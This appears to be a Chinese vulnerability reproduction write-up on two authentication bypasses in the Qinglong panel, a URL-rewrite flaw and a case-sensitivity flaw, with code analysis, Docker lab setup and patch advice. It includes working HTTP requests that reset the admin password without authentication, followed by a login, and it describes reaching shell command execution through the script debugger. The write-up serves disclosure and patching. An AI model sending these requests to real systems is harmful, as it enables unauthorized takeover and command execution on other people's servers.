漏洞概述
青龙面板是一款支持 Python3、JavaScript、Shell、TypeScript 的定时任务管理平台,在安全社区中广泛使用。本文复现了其存在的两个权限绕过漏洞,攻击者可在未认证情况下重置管理员密码并获取系统控制权。
| 属性 | 内容 |
|---|---|
| 漏洞编号 | QVD-2026-10895 |
| 影响版本 | < v2.20.1 |
| 修复版本 | >= v2.20.2 |
| 漏洞类型 | 权限绕过 |
| 危害等级 | 高危 |
漏洞原理分析
漏洞一:URL 重写绕过
系统在处理请求时存在逻辑缺陷,/open/ 路径被加入白名单后,经过内部重写可访问需要认证的 /api/ 接口。
关键代码分析:
// back/loaders/express.ts
app.use(async (req, res, next) => {
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
return next(); // 非这两个前缀直接放行
}
// ... 认证逻辑
});
// 路径重写规则
app.use(rewrite('/open/*', '/api/$1')); // /open/xxx → /api/xxx
绕过思路: /open/user/init 在白名单中不被拦截,但被重写为 /api/user/init 后可执行敏感操作。
漏洞二:大小写绕过
JWT 认证和自定义认证均使用小写匹配,而 Express 路由默认大小写不敏感。
// JWT 白名单正则仅匹配小写
path: [config.apiWhiteList, /^\/(?!api\/).*/]
// 自定义认证严格匹配小写
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
return next();
}
// 但路由大小写不敏感
app.use('/api', routes()); // /API/ /aPi/ 均可匹配
绕过效果对比:
| 请求路径 | expressjwt | 自定义认证 | 路由匹配 | 最终结果 |
|---|---|---|---|---|
/api/crons |
JWT 验证 | Token 校验 | 匹配 | 需认证 |
/API/crons |
跳过 | 跳过 | 匹配 | 绕过 |
环境搭建
使用 Docker 快速部署漏洞环境:
# 拉取存在漏洞的版本
docker pull whyour/qinglong:2.19.2
# 启动容器
docker run -dit \
-v ~/ql/data:/ql/data \
-p 80:5700 \
--name qinglong \
whyour/qinglong:2.19.2
访问 http://127.0.0.1 即可看到青龙面板登录页面。
漏洞复现
Step 1:重置管理员密码
利用 URL 重写绕过,直接调用用户初始化接口:
PUT /open/user/init HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"admin","password":"hack@qq.com"}
Step 2:成功登录获取 Token
使用重置后的密码登录系统:
POST /api/user/login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"admin","password":"hack@qq.com"}
Step 3:命令执行
登录后台后,进入「脚本管理」创建新脚本,通过调试功能执行任意 Shell 命令:
修复建议
-
官方已发布安全补丁,请及时更新至最新版本:
青龙面板(Qinglong)>= v2.20.2
下载地址:











